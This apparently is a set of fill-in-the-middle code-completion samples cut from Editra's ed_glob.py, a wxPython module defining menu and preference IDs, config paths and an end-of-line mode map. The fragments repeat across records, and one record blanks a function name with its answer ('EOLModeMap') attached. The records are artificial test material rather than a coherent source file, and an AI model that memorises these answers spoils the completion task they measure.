ID_METHOD_TYPE = wx.NewId()
# Statusbar IDs
SB_INFO = 0
SB_BUFF = 1
SB_LEXER = 2
SB_ENCODING = 3
SB_EOL = 4
SB_ROWCOL = 5
# Print Mode Identifiers
PRINT_BLACK_WHITE = 0
PRINT_COLOR_WHITE = 1
PRINT_COLOR_DEF = 2
PRINT_INVERT = 3
PRINT_NORMAL = 4
#---- Objects ----#
# Dictionary to map object ids to Profile keys
ID_2_PROF = {
ID_PREF_AALIAS : 'AALIASING',
ID_TRANSPARENCY : 'ALPHA',
ID_PREF_UNINDENT : 'BSUNINDENT',
ID_APP_SPLASH : 'APPSPLASH',
ID_PREF_AUTOBKUP : 'AUTOBACKUP',
ID_AUTOCOMP : 'AUTO_COMP',
ID_PREF_AUTOCOMPEX : 'AUTO_COMP_EX',
ID_AUTOINDENT : 'AUTO_INDENT',
ID_PREF_AUTO_RELOAD : 'AUTO_RELOAD',
ID_PREF_AUTOTRIM : 'AUTO_TRIM_WS',
ID_BRACKETHL : 'BRACKETHL',
ID_PREF_CHKMOD : 'CHECKMOD',
ID_PREF_CHKUPDATE : 'CHECKUPDATE',
ID_FOLDING : 'CODE_FOLD',
ID_PREF_DLEXER : 'DEFAULT_LEX',
ID_PERSPECTIVES : 'DEFAULT_VIEW',
ID_PREF_EDGE : 'EDGE',
ID_PREF_ENCODING : 'ENCODING',
ID_EOL_MODE : 'EOL_MODE',
ID_PREF_FHIST : 'FHIST_LVL',
ID_INDENT_GUIDES : 'GUIDES',
ID_HLCARET_LINE : 'HLCARETLINE',
ID_PREF_ICON : 'ICONS',
ID_PREF_ICONSZ : 'ICON_SZ',
ID_PREF_INDENTW : 'INDENTWIDTH',
ID_KEY_PROFILES : 'KEY_PROFILE',
ID_PREF_LANG : 'LANG',
ID_PREF_MODE : 'MODE',
ID_NEW_WINDOW : 'OPEN_NW',
ID_PRINT_MODE : 'PRINT_MODE',
ID_REPORTER : 'REPORTER',
ID_PREF_SPOS : 'SAVE_POS',
ID_SESSION : 'SAVE_SESSION',
ID_PREF_WPOS : 'SET_WPOS',
ID_PREF_WSIZE : 'SET_WSIZE',
ID_SHOW_EDGE : 'SHOW_EDGE',
ID_SHOW_EOL : 'SHOW_EOL',
ID_SHOW_LN : 'SHOW_LN',
ID_SHOW_WS : 'SHOW_WS',
ID_SHOW_SB : 'STATBAR',
ID_SYNTAX : 'SYNTAX',
ID_PREF_SYNTHEME : 'SYNTHEME',
ID_PREF_TABICON : 'TABICONS',
ID_PREF_TABW : 'TABWIDTH',
ID_VIEW_TOOL : 'TOOLBAR',
ID_PREF_TABS : 'USETABS',
ID_PREF_VIRT_SPACE : 'VIEWVERTSPACE',
ID_PREF_CARET_WIDTH : 'CARETWIDTH',
ID_VI_MODE : 'VI_EMU',
ID_VI_NORMAL_DEFAULT : 'VI_NORMAL_DEFAULT',
ID_PREF_WARN_EOL : 'WARN_EOL',
ID_WORD_WRAP : 'WRAP',
}
EOL_MODE_CR = 0
EOL_MODE_LF = 1
EOL_MODE_CRLF = 2
def | ():
"""Get the eol mode map"""
# Maintenance Note: ints must be kept in sync with EDSTC_EOL_* in edstc
return { EOL_MODE_CR : _("Old Machintosh (\\r)"),
EOL_MODE_LF : _("Unix (\\n)"),
EOL_MODE_CRLF : _("Windows (\\r\\n)")}
# Default Plugins
DEFAULT_PLUGINS = ("generator.Html", "generator.LaTeX", "generator.Rtf",
"iface.Shelf", "ed_theme.TangoTheme", "ed_log.EdLogViewer",
"ed_search.EdFindResults", "ed_bookmark.EdBookmarks")
| EOLModeMap | identifier_name |
ed_glob.py | ###############################################################################
# Name: ed_glob.py #
# Purpose: Global IDs/objects used throughout Editra #
# Author: Cody Precord <cprecord@editra.org> #
# Copyright: (c) 2007 Cody Precord <staff@editra.org> #
# License: wxWindows License #
###############################################################################
"""
This file contains variables that are or may be used in multiple files and
libraries within the project. Its purpose is to create a globally accessible
access point for all common variables in the project.
"""
__author__ = "Cody Precord <cprecord@editra.org>"
__svnid__ = "$Id: ed_glob.py 70747 2012-02-29 01:33:35Z CJP $"
__revision__ = "$Revision: 70747 $"
__all__ = [ 'CONFIG', 'SB_INFO', 'VERSION', 'PROG_NAME', 'ID_NEW', 'ID_OPEN',
'ID_CLOSE', 'ID_CLOSEALL', 'ID_SAVE', 'ID_SAVEAS', 'ID_SAVEALL',
'ID_SAVE_PROFILE', 'ID_LOAD_PROFILE', 'ID_PRINT', 'ID_PRINT_PRE',
'ID_PRINT_SU', 'ID_EXIT', 'ID_UNDO', 'ID_REDO', 'ID_CUT',
'ID_COPY', 'ID_PASTE', 'ID_SELECTALL', 'ID_ADD_BM',
'ID_DEL_ALL_BM', 'ID_LINE_AFTER', 'ID_LINE_BEFORE', 'ID_CUT_LINE',
'ID_COPY_LINE', 'ID_JOIN_LINES', 'ID_TRANSPOSE', 'ID_DELETE_LINE',
'ID_LINE_MOVE_UP', 'ID_LINE_MOVE_DOWN',
'ID_QUICK_FIND', 'ID_PREF', 'ID_ZOOM_OUT',
'HOME_PAGE', 'CONTACT_MAIL', 'ID_ZOOM_IN', 'ID_ZOOM_NORMAL',
'ID_SHOW_EDGE', 'ID_SHOW_EOL', 'ID_SHOW_LN', 'ID_SHOW_WS',
'ID_PERSPECTIVES', 'ID_INDENT_GUIDES', 'ID_VIEW_TOOL',
'ID_GOTO_LINE', 'ID_NEXT_MARK', 'ID_PRE_MARK', 'ID_FONT',
'ID_EOL_MAC', 'ID_EOL_UNIX', 'ID_EOL_WIN', 'ID_WORD_WRAP',
'ID_INDENT', 'ID_UNINDENT', 'ID_TO_UPPER', 'ID_TO_LOWER',
'ID_SPACE_TO_TAB', 'ID_TAB_TO_SPACE', 'ID_TRIM_WS',
'ID_TOGGLECOMMENT', 'ID_AUTOCOMP', 'ID_AUTOINDENT', 'ID_SYNTAX',
'ID_FOLDING', 'ID_BRACKETHL', 'ID_LEXER',
'ID_PLUGMGR', 'ID_STYLE_EDIT', 'ID_MACRO_START', 'ID_MACRO_STOP',
'ID_MACRO_PLAY', 'ID_ABOUT', 'ID_HOMEPAGE', 'ID_CONTACT',
'ID_BUG_TRACKER', 'ID_DOCUMENTATION', 'ID_COMMAND',
'ID_USE_SOFTTABS', 'ID_DUP_LINE', 'ID_TRANSLATE',
'I18N_PAGE', 'ID_GOTO_MBRACE', 'ID_HLCARET_LINE', 'ID_SHOW_SB',
'ID_REVERT_FILE', 'ID_RELOAD_ENC', 'ID_DOCPROP', 'ID_PASTE_AFTER',
'ID_COLUMN_MODE', 'ID_PANELIST', 'ID_MAXIMIZE_EDITOR',
'ID_NEW_WINDOW', 'ID_TOGGLE_FOLD', 'ID_TOGGLE_ALL_FOLDS',
'ID_SAVE_SESSION', 'ID_LOAD_SESSION', 'ID_NEXT_POS', 'ID_PRE_POS',
'ID_CYCLE_CLIPBOARD', 'ID_LEXER_CUSTOM', 'ID_SHOW_AUTOCOMP',
'ID_SHOW_CALLTIP', 'ID_SESSION_BAR', 'ID_PREF_CARET_WIDTH' ]
#---- Project Info ----#
# The project info was moved to another module so it could be accessed
# externally without needing to import anything else. It's imported
# here with a * until there isn't anyplace left that expects to find
# these values in this module.
from info import *
#---- End Project Info ----#
#---- Imported Libs/Objects ----#
import wx
_ = wx.GetTranslation
#---- WX Compatibility Hacks ----#
import wxcompat
#---- Configuration Locations ----#
# Values set when main loads
CONFIG = {
'ISLOCAL' : False, # Using local config (no abs path)
'CONFIG_BASE' : None, # Set if config base is in nonstandard location
'INSTALL_DIR' : "", # Instal directory
'CONFIG_DIR' : "", # Root configration directory
'CACHE_DIR' : "", # Holds temp data about documents
'KEYPROF_DIR' : "", # System Keybinding
'PROFILE_DIR' : "", # User Profile Directory
'PLUGIN_DIR' : "", # User Plugin Dir
'SYSPIX_DIR' : "", # Editras non user graphics
'THEME_DIR' : "", # Theme Directory
'LANG_DIR' : "", # Locale Data Directory
'SYS_PLUGIN_DIR' : "", # Editra base plugin dir
'SYS_STYLES_DIR' : "", # Editra base style sheets
'TEST_DIR' : "", # Test data files dir
}
# Global logging/application variables
DEBUG = False
VDEBUG = False
SINGLE = True
#---- Object ID's ----#
# File Menu IDs
ID_NEW = wx.ID_NEW
ID_NEW_WINDOW = wx.NewId()
ID_OPEN = wx.ID_OPEN
ID_FHIST = wx.NewId()
ID_CLOSE = wx.ID_CLOSE
ID_CLOSEALL = wx.ID_CLOSE_ALL
ID_CLOSE_OTHERS = wx.NewId()
ID_CLOSE_WINDOW = wx.NewId()
ID_SAVE = wx.ID_SAVE
ID_SAVEAS = wx.ID_SAVEAS
ID_SAVEALL = wx.NewId()
ID_REVERT_FILE = wx.ID_REVERT_TO_SAVED
ID_RELOAD_ENC = wx.NewId()
ID_SAVE_PROFILE = wx.NewId()
ID_LOAD_PROFILE = wx.NewId()
ID_SAVE_SESSION = wx.NewId()
ID_LOAD_SESSION = wx.NewId()
ID_SESSION_BAR = wx.NewId()
ID_PRINT = wx.ID_PRINT
ID_PRINT_PRE = wx.ID_PREVIEW
ID_PRINT_SU = wx.NewId()
ID_EXIT = wx.ID_EXIT
# Edit Menu IDs
ID_UNDO = wx.ID_UNDO
ID_REDO = wx.ID_REDO
ID_CUT = wx.ID_CUT
ID_COPY = wx.ID_COPY
ID_PASTE = wx.ID_PASTE
ID_CYCLE_CLIPBOARD = wx.NewId()
ID_PASTE_AFTER = wx.NewId()
ID_SELECTALL = wx.ID_SELECTALL
ID_COLUMN_MODE = wx.NewId()
ID_LINE_EDIT = wx.NewId()
ID_BOOKMARK = wx.NewId()
ID_ADD_BM = wx.NewId()
ID_DEL_BM = wx.NewId() # Not used in menu anymore
ID_DEL_ALL_BM = wx.NewId()
ID_LINE_AFTER = wx.NewId()
ID_LINE_BEFORE = wx.NewId()
ID_CUT_LINE = wx.NewId()
ID_DELETE_LINE = wx.NewId()
ID_COPY_LINE = wx.NewId()
ID_DUP_LINE = wx.NewId()
ID_JOIN_LINES = wx.NewId()
ID_TRANSPOSE = wx.NewId()
ID_LINE_MOVE_UP = wx.NewId()
ID_LINE_MOVE_DOWN= wx.NewId()
ID_SHOW_AUTOCOMP = wx.NewId()
ID_SHOW_CALLTIP = wx.NewId()
ID_FIND = wx.ID_FIND
ID_FIND_PREVIOUS = wx.NewId()
ID_FIND_NEXT = wx.NewId()
ID_FIND_REPLACE = wx.ID_REPLACE
ID_FIND_SELECTED = wx.NewId()
# Using the system ids automatically disables the menus items
# when the dialog is open which is not wanted
if wx.Platform == '__WXMAC__':
ID_FIND = wx.NewId()
ID_FIND_REPLACE = wx.NewId()
ID_QUICK_FIND = wx.NewId()
ID_PREF = wx.ID_PREFERENCES
# Preference Dlg Ids
ID_PREF_LANG = wx.NewId()
ID_PREF_AALIAS = wx.NewId()
ID_PREF_AUTOBKUP = wx.NewId()
ID_PREF_AUTO_RELOAD = wx.NewId()
ID_PREF_AUTOCOMPEX = wx.NewId()
ID_PREF_AUTOTRIM = wx.NewId()
ID_PREF_CHKMOD = wx.NewId()
ID_PREF_CHKUPDATE = wx.NewId()
ID_PREF_DLEXER = wx.NewId()
ID_PREF_EDGE = wx.NewId()
ID_PREF_ENCODING = wx.NewId()
ID_PREF_SYNTHEME = wx.NewId()
ID_PREF_TABS = wx.NewId()
ID_PREF_UNINDENT = wx.NewId()
ID_PREF_TABW = wx.NewId()
ID_PREF_INDENTW = wx.NewId()
ID_PREF_FHIST = wx.NewId()
ID_PREF_WSIZE = wx.NewId()
ID_PREF_WPOS = wx.NewId()
ID_PREF_ICON = wx.NewId()
ID_PREF_ICONSZ = wx.NewId()
ID_PREF_MODE = wx.NewId()
ID_PREF_TABICON = wx.NewId()
ID_PRINT_MODE = wx.NewId()
ID_TRANSPARENCY = wx.NewId()
ID_PREF_SPOS = wx.NewId()
ID_PREF_UPDATE_BAR = wx.NewId()
ID_PREF_VIRT_SPACE = wx.NewId()
ID_PREF_CARET_WIDTH = wx.NewId()
ID_PREF_WARN_EOL = wx.NewId()
ID_SESSION = wx.NewId()
# View Menu IDs
ID_ZOOM_OUT = wx.ID_ZOOM_OUT
ID_ZOOM_IN = wx.ID_ZOOM_IN
ID_ZOOM_NORMAL = wx.ID_ZOOM_100
ID_HLCARET_LINE = wx.NewId()
ID_SHOW_EDGE = wx.NewId()
ID_SHOW_EOL = wx.NewId()
ID_SHOW_LN = wx.NewId()
ID_SHOW_WS = wx.NewId()
ID_SHOW_SHELF = wx.NewId()
ID_PERSPECTIVES = wx.NewId()
ID_INDENT_GUIDES = wx.NewId()
ID_SHOW_SB = wx.NewId()
ID_VIEW_TOOL = wx.NewId()
ID_SHELF = wx.NewId()
ID_PANELIST = wx.NewId()
ID_GOTO_LINE = wx.NewId()
ID_GOTO_MBRACE = wx.NewId()
ID_TOGGLE_FOLD = wx.NewId()
ID_TOGGLE_ALL_FOLDS = wx.NewId()
ID_NEXT_POS = wx.NewId()
ID_PRE_POS = wx.NewId()
ID_NEXT_MARK = wx.ID_FORWARD
ID_PRE_MARK = wx.ID_BACKWARD
ID_MAXIMIZE_EDITOR = wx.NewId()
# Format Menu IDs
ID_FONT = wx.NewId()
ID_EOL_MODE = wx.NewId()
ID_EOL_MAC = wx.NewId()
ID_EOL_UNIX = wx.NewId()
ID_EOL_WIN = wx.NewId()
ID_USE_SOFTTABS = wx.NewId()
ID_WORD_WRAP = wx.NewId()
ID_INDENT = wx.ID_INDENT
ID_UNINDENT = wx.ID_UNINDENT
ID_TO_UPPER = wx.NewId()
ID_TO_LOWER = wx.NewId()
ID_WS_FORMAT = wx.NewId()
ID_SPACE_TO_TAB = wx.NewId()
ID_TAB_TO_SPACE = wx.NewId()
ID_TRIM_WS = wx.NewId()
ID_TOGGLECOMMENT = wx.NewId()
# Settings Menu IDs
ID_AUTOCOMP = wx.NewId()
ID_AUTOINDENT = wx.NewId()
ID_SYNTAX = wx.NewId()
ID_SYN_ON = wx.NewId()
ID_SYN_OFF = wx.NewId()
ID_FOLDING = wx.NewId()
ID_BRACKETHL = wx.NewId()
ID_LEXER = wx.NewId()
ID_LEXER_CUSTOM = wx.NewId()
# Tool Menu IDs
ID_COMMAND = wx.NewId()
ID_PLUGMGR = wx.NewId()
ID_STYLE_EDIT = wx.ID_EDIT
ID_MACRO_START = wx.NewId()
ID_MACRO_STOP = wx.NewId()
ID_MACRO_PLAY = wx.NewId()
ID_GENERATOR = wx.NewId()
ID_HTML_GEN = wx.NewId()
ID_TEX_GEN = wx.NewId()
ID_RTF_GEN = wx.NewId()
ID_RUN_LAUNCH = wx.NewId()
ID_LAUNCH_LAST = wx.NewId()
# Help Menu IDs
ID_ABOUT = wx.ID_ABOUT
ID_HOMEPAGE = wx.ID_HOME
ID_DOCUMENTATION = wx.NewId()
ID_TRANSLATE = wx.NewId()
ID_CONTACT = wx.NewId()
ID_BUG_TRACKER = wx.NewId()
# Misc IDs
ID_ADD = wx.ID_ADD
ID_ADVANCED = wx.NewId()
ID_APP_SPLASH = wx.NewId()
ID_BACKWARD = wx.ID_BACKWARD
ID_BIN_FILE = ID_COMMAND
ID_CDROM = wx.NewId()
ID_COMMAND_LINE_OPEN = wx.NewId()
ID_COMPUTER = wx.NewId()
ID_COPY_PATH = wx.NewId()
ID_COPY_FILE = wx.NewId()
ID_DELETE = wx.NewId()
ID_DELETE_ALL = wx.NewId()
ID_DOCPROP = wx.NewId()
ID_DOWN = wx.ID_DOWN
ID_DOWNLOAD_DLG = wx.NewId()
ID_FILE = wx.ID_FILE
ID_FIND_RESULTS = wx.NewId()
ID_FLOPPY = wx.NewId()
ID_FOLDER = wx.NewId()
ID_FORWARD = wx.ID_FORWARD
ID_HARDDISK = wx.NewId()
ID_KEY_PROFILES = wx.NewId()
ID_LOGGER = wx.NewId()
ID_BOOKMARK_MGR = wx.NewId()
ID_MOVE_TAB = wx.NewId()
ID_PACKAGE = wx.NewId()
ID_PYSHELL = wx.NewId()
ID_REFRESH = wx.ID_REFRESH
ID_REMOVE = wx.ID_REMOVE
ID_REPORTER = wx.NewId()
ID_STOP = wx.ID_STOP
ID_THEME = wx.NewId()
ID_USB = wx.NewId()
ID_UP = wx.ID_UP
ID_VI_MODE = wx.NewId()
ID_VI_NORMAL_DEFAULT = wx.NewId()
ID_WEB = wx.NewId() | # Code Elements (ids for art provider)
ID_CLASS_TYPE = wx.NewId()
ID_FUNCT_TYPE = wx.NewId()
ID_ELEM_TYPE = wx.NewId()
ID_VARIABLE_TYPE = wx.NewId()
ID_ATTR_TYPE = wx.NewId()
ID_PROPERTY_TYPE = wx.NewId()
ID_METHOD_TYPE = wx.NewId()
# Statusbar IDs
SB_INFO = 0
SB_BUFF = 1
SB_LEXER = 2
SB_ENCODING = 3
SB_EOL = 4
SB_ROWCOL = 5
# Print Mode Identifiers
PRINT_BLACK_WHITE = 0
PRINT_COLOR_WHITE = 1
PRINT_COLOR_DEF = 2
PRINT_INVERT = 3
PRINT_NORMAL = 4
#---- Objects ----#
# Dictionary to map object ids to Profile keys
ID_2_PROF = {
ID_PREF_AALIAS : 'AALIASING',
ID_TRANSPARENCY : 'ALPHA',
ID_PREF_UNINDENT : 'BSUNINDENT',
ID_APP_SPLASH : 'APPSPLASH',
ID_PREF_AUTOBKUP : 'AUTOBACKUP',
ID_AUTOCOMP : 'AUTO_COMP',
ID_PREF_AUTOCOMPEX : 'AUTO_COMP_EX',
ID_AUTOINDENT : 'AUTO_INDENT',
ID_PREF_AUTO_RELOAD : 'AUTO_RELOAD',
ID_PREF_AUTOTRIM : 'AUTO_TRIM_WS',
ID_BRACKETHL : 'BRACKETHL',
ID_PREF_CHKMOD : 'CHECKMOD',
ID_PREF_CHKUPDATE : 'CHECKUPDATE',
ID_FOLDING : 'CODE_FOLD',
ID_PREF_DLEXER : 'DEFAULT_LEX',
ID_PERSPECTIVES : 'DEFAULT_VIEW',
ID_PREF_EDGE : 'EDGE',
ID_PREF_ENCODING : 'ENCODING',
ID_EOL_MODE : 'EOL_MODE',
ID_PREF_FHIST : 'FHIST_LVL',
ID_INDENT_GUIDES : 'GUIDES',
ID_HLCARET_LINE : 'HLCARETLINE',
ID_PREF_ICON : 'ICONS',
ID_PREF_ICONSZ : 'ICON_SZ',
ID_PREF_INDENTW : 'INDENTWIDTH',
ID_KEY_PROFILES : 'KEY_PROFILE',
ID_PREF_LANG : 'LANG',
ID_PREF_MODE : 'MODE',
ID_NEW_WINDOW : 'OPEN_NW',
ID_PRINT_MODE : 'PRINT_MODE',
ID_REPORTER : 'REPORTER',
ID_PREF_SPOS : 'SAVE_POS',
ID_SESSION : 'SAVE_SESSION',
ID_PREF_WPOS : 'SET_WPOS',
ID_PREF_WSIZE : 'SET_WSIZE',
ID_SHOW_EDGE : 'SHOW_EDGE',
ID_SHOW_EOL : 'SHOW_EOL',
ID_SHOW_LN : 'SHOW_LN',
ID_SHOW_WS : 'SHOW_WS',
ID_SHOW_SB : 'STATBAR',
ID_SYNTAX : 'SYNTAX',
ID_PREF_SYNTHEME : 'SYNTHEME',
ID_PREF_TABICON : 'TABICONS',
ID_PREF_TABW : 'TABWIDTH',
ID_VIEW_TOOL : 'TOOLBAR',
ID_PREF_TABS : 'USETABS',
ID_PREF_VIRT_SPACE : 'VIEWVERTSPACE',
ID_PREF_CARET_WIDTH : 'CARETWIDTH',
ID_VI_MODE : 'VI_EMU',
ID_VI_NORMAL_DEFAULT : 'VI_NORMAL_DEFAULT',
ID_PREF_WARN_EOL : 'WARN_EOL',
ID_WORD_WRAP : 'WRAP',
}
EOL_MODE_CR = 0
EOL_MODE_LF = 1
EOL_MODE_CRLF = 2
def EOLModeMap():
"""Get the eol mode map"""
# Maintenance Note: ints must be kept in sync with EDSTC_EOL_* in edstc
return { EOL_MODE_CR : _("Old Machintosh (\\r)"),
EOL_MODE_LF : _("Unix (\\n)"),
EOL_MODE_CRLF : _("Windows (\\r\\n)")}
# Default Plugins
DEFAULT_PLUGINS = ("generator.Html", "generator.LaTeX", "generator.Rtf",
"iface.Shelf", "ed_theme.TangoTheme", "ed_log.EdLogViewer",
"ed_search.EdFindResults", "ed_bookmark.EdBookmarks") | ID_READONLY = wx.NewId()
ID_NEW_FOLDER = wx.NewId()
| random_line_split |
ed_glob.py | ###############################################################################
# Name: ed_glob.py #
# Purpose: Global IDs/objects used throughout Editra #
# Author: Cody Precord <cprecord@editra.org> #
# Copyright: (c) 2007 Cody Precord <staff@editra.org> #
# License: wxWindows License #
###############################################################################
"""
This file contains variables that are or may be used in multiple files and
libraries within the project. Its purpose is to create a globally accessible
access point for all common variables in the project.
"""
__author__ = "Cody Precord <cprecord@editra.org>"
__svnid__ = "$Id: ed_glob.py 70747 2012-02-29 01:33:35Z CJP $"
__revision__ = "$Revision: 70747 $"
__all__ = [ 'CONFIG', 'SB_INFO', 'VERSION', 'PROG_NAME', 'ID_NEW', 'ID_OPEN',
'ID_CLOSE', 'ID_CLOSEALL', 'ID_SAVE', 'ID_SAVEAS', 'ID_SAVEALL',
'ID_SAVE_PROFILE', 'ID_LOAD_PROFILE', 'ID_PRINT', 'ID_PRINT_PRE',
'ID_PRINT_SU', 'ID_EXIT', 'ID_UNDO', 'ID_REDO', 'ID_CUT',
'ID_COPY', 'ID_PASTE', 'ID_SELECTALL', 'ID_ADD_BM',
'ID_DEL_ALL_BM', 'ID_LINE_AFTER', 'ID_LINE_BEFORE', 'ID_CUT_LINE',
'ID_COPY_LINE', 'ID_JOIN_LINES', 'ID_TRANSPOSE', 'ID_DELETE_LINE',
'ID_LINE_MOVE_UP', 'ID_LINE_MOVE_DOWN',
'ID_QUICK_FIND', 'ID_PREF', 'ID_ZOOM_OUT',
'HOME_PAGE', 'CONTACT_MAIL', 'ID_ZOOM_IN', 'ID_ZOOM_NORMAL',
'ID_SHOW_EDGE', 'ID_SHOW_EOL', 'ID_SHOW_LN', 'ID_SHOW_WS',
'ID_PERSPECTIVES', 'ID_INDENT_GUIDES', 'ID_VIEW_TOOL',
'ID_GOTO_LINE', 'ID_NEXT_MARK', 'ID_PRE_MARK', 'ID_FONT',
'ID_EOL_MAC', 'ID_EOL_UNIX', 'ID_EOL_WIN', 'ID_WORD_WRAP',
'ID_INDENT', 'ID_UNINDENT', 'ID_TO_UPPER', 'ID_TO_LOWER',
'ID_SPACE_TO_TAB', 'ID_TAB_TO_SPACE', 'ID_TRIM_WS',
'ID_TOGGLECOMMENT', 'ID_AUTOCOMP', 'ID_AUTOINDENT', 'ID_SYNTAX',
'ID_FOLDING', 'ID_BRACKETHL', 'ID_LEXER',
'ID_PLUGMGR', 'ID_STYLE_EDIT', 'ID_MACRO_START', 'ID_MACRO_STOP',
'ID_MACRO_PLAY', 'ID_ABOUT', 'ID_HOMEPAGE', 'ID_CONTACT',
'ID_BUG_TRACKER', 'ID_DOCUMENTATION', 'ID_COMMAND',
'ID_USE_SOFTTABS', 'ID_DUP_LINE', 'ID_TRANSLATE',
'I18N_PAGE', 'ID_GOTO_MBRACE', 'ID_HLCARET_LINE', 'ID_SHOW_SB',
'ID_REVERT_FILE', 'ID_RELOAD_ENC', 'ID_DOCPROP', 'ID_PASTE_AFTER',
'ID_COLUMN_MODE', 'ID_PANELIST', 'ID_MAXIMIZE_EDITOR',
'ID_NEW_WINDOW', 'ID_TOGGLE_FOLD', 'ID_TOGGLE_ALL_FOLDS',
'ID_SAVE_SESSION', 'ID_LOAD_SESSION', 'ID_NEXT_POS', 'ID_PRE_POS',
'ID_CYCLE_CLIPBOARD', 'ID_LEXER_CUSTOM', 'ID_SHOW_AUTOCOMP',
'ID_SHOW_CALLTIP', 'ID_SESSION_BAR', 'ID_PREF_CARET_WIDTH' ]
#---- Project Info ----#
# The project info was moved to another module so it could be accessed
# externally without needing to import anything else. It's imported
# here with a * until there isn't anyplace left that expects to find
# these values in this module.
from info import *
#---- End Project Info ----#
#---- Imported Libs/Objects ----#
import wx
_ = wx.GetTranslation
#---- WX Compatibility Hacks ----#
import wxcompat
#---- Configuration Locations ----#
# Values set when main loads
CONFIG = {
'ISLOCAL' : False, # Using local config (no abs path)
'CONFIG_BASE' : None, # Set if config base is in nonstandard location
'INSTALL_DIR' : "", # Instal directory
'CONFIG_DIR' : "", # Root configration directory
'CACHE_DIR' : "", # Holds temp data about documents
'KEYPROF_DIR' : "", # System Keybinding
'PROFILE_DIR' : "", # User Profile Directory
'PLUGIN_DIR' : "", # User Plugin Dir
'SYSPIX_DIR' : "", # Editras non user graphics
'THEME_DIR' : "", # Theme Directory
'LANG_DIR' : "", # Locale Data Directory
'SYS_PLUGIN_DIR' : "", # Editra base plugin dir
'SYS_STYLES_DIR' : "", # Editra base style sheets
'TEST_DIR' : "", # Test data files dir
}
# Global logging/application variables
DEBUG = False
VDEBUG = False
SINGLE = True
#---- Object ID's ----#
# File Menu IDs
ID_NEW = wx.ID_NEW
ID_NEW_WINDOW = wx.NewId()
ID_OPEN = wx.ID_OPEN
ID_FHIST = wx.NewId()
ID_CLOSE = wx.ID_CLOSE
ID_CLOSEALL = wx.ID_CLOSE_ALL
ID_CLOSE_OTHERS = wx.NewId()
ID_CLOSE_WINDOW = wx.NewId()
ID_SAVE = wx.ID_SAVE
ID_SAVEAS = wx.ID_SAVEAS
ID_SAVEALL = wx.NewId()
ID_REVERT_FILE = wx.ID_REVERT_TO_SAVED
ID_RELOAD_ENC = wx.NewId()
ID_SAVE_PROFILE = wx.NewId()
ID_LOAD_PROFILE = wx.NewId()
ID_SAVE_SESSION = wx.NewId()
ID_LOAD_SESSION = wx.NewId()
ID_SESSION_BAR = wx.NewId()
ID_PRINT = wx.ID_PRINT
ID_PRINT_PRE = wx.ID_PREVIEW
ID_PRINT_SU = wx.NewId()
ID_EXIT = wx.ID_EXIT
# Edit Menu IDs
ID_UNDO = wx.ID_UNDO
ID_REDO = wx.ID_REDO
ID_CUT = wx.ID_CUT
ID_COPY = wx.ID_COPY
ID_PASTE = wx.ID_PASTE
ID_CYCLE_CLIPBOARD = wx.NewId()
ID_PASTE_AFTER = wx.NewId()
ID_SELECTALL = wx.ID_SELECTALL
ID_COLUMN_MODE = wx.NewId()
ID_LINE_EDIT = wx.NewId()
ID_BOOKMARK = wx.NewId()
ID_ADD_BM = wx.NewId()
ID_DEL_BM = wx.NewId() # Not used in menu anymore
ID_DEL_ALL_BM = wx.NewId()
ID_LINE_AFTER = wx.NewId()
ID_LINE_BEFORE = wx.NewId()
ID_CUT_LINE = wx.NewId()
ID_DELETE_LINE = wx.NewId()
ID_COPY_LINE = wx.NewId()
ID_DUP_LINE = wx.NewId()
ID_JOIN_LINES = wx.NewId()
ID_TRANSPOSE = wx.NewId()
ID_LINE_MOVE_UP = wx.NewId()
ID_LINE_MOVE_DOWN= wx.NewId()
ID_SHOW_AUTOCOMP = wx.NewId()
ID_SHOW_CALLTIP = wx.NewId()
ID_FIND = wx.ID_FIND
ID_FIND_PREVIOUS = wx.NewId()
ID_FIND_NEXT = wx.NewId()
ID_FIND_REPLACE = wx.ID_REPLACE
ID_FIND_SELECTED = wx.NewId()
# Using the system ids automatically disables the menus items
# when the dialog is open which is not wanted
if wx.Platform == '__WXMAC__':
ID_FIND = wx.NewId()
ID_FIND_REPLACE = wx.NewId()
ID_QUICK_FIND = wx.NewId()
ID_PREF = wx.ID_PREFERENCES
# Preference Dlg Ids
ID_PREF_LANG = wx.NewId()
ID_PREF_AALIAS = wx.NewId()
ID_PREF_AUTOBKUP = wx.NewId()
ID_PREF_AUTO_RELOAD = wx.NewId()
ID_PREF_AUTOCOMPEX = wx.NewId()
ID_PREF_AUTOTRIM = wx.NewId()
ID_PREF_CHKMOD = wx.NewId()
ID_PREF_CHKUPDATE = wx.NewId()
ID_PREF_DLEXER = wx.NewId()
ID_PREF_EDGE = wx.NewId()
ID_PREF_ENCODING = wx.NewId()
ID_PREF_SYNTHEME = wx.NewId()
ID_PREF_TABS = wx.NewId()
ID_PREF_UNINDENT = wx.NewId()
ID_PREF_TABW = wx.NewId()
ID_PREF_INDENTW = wx.NewId()
ID_PREF_FHIST = wx.NewId()
ID_PREF_WSIZE = wx.NewId()
ID_PREF_WPOS = wx.NewId()
ID_PREF_ICON = wx.NewId()
ID_PREF_ICONSZ = wx.NewId()
ID_PREF_MODE = wx.NewId()
ID_PREF_TABICON = wx.NewId()
ID_PRINT_MODE = wx.NewId()
ID_TRANSPARENCY = wx.NewId()
ID_PREF_SPOS = wx.NewId()
ID_PREF_UPDATE_BAR = wx.NewId()
ID_PREF_VIRT_SPACE = wx.NewId()
ID_PREF_CARET_WIDTH = wx.NewId()
ID_PREF_WARN_EOL = wx.NewId()
ID_SESSION = wx.NewId()
# View Menu IDs
ID_ZOOM_OUT = wx.ID_ZOOM_OUT
ID_ZOOM_IN = wx.ID_ZOOM_IN
ID_ZOOM_NORMAL = wx.ID_ZOOM_100
ID_HLCARET_LINE = wx.NewId()
ID_SHOW_EDGE = wx.NewId()
ID_SHOW_EOL = wx.NewId()
ID_SHOW_LN = wx.NewId()
ID_SHOW_WS = wx.NewId()
ID_SHOW_SHELF = wx.NewId()
ID_PERSPECTIVES = wx.NewId()
ID_INDENT_GUIDES = wx.NewId()
ID_SHOW_SB = wx.NewId()
ID_VIEW_TOOL = wx.NewId()
ID_SHELF = wx.NewId()
ID_PANELIST = wx.NewId()
ID_GOTO_LINE = wx.NewId()
ID_GOTO_MBRACE = wx.NewId()
ID_TOGGLE_FOLD = wx.NewId()
ID_TOGGLE_ALL_FOLDS = wx.NewId()
ID_NEXT_POS = wx.NewId()
ID_PRE_POS = wx.NewId()
ID_NEXT_MARK = wx.ID_FORWARD
ID_PRE_MARK = wx.ID_BACKWARD
ID_MAXIMIZE_EDITOR = wx.NewId()
# Format Menu IDs
ID_FONT = wx.NewId()
ID_EOL_MODE = wx.NewId()
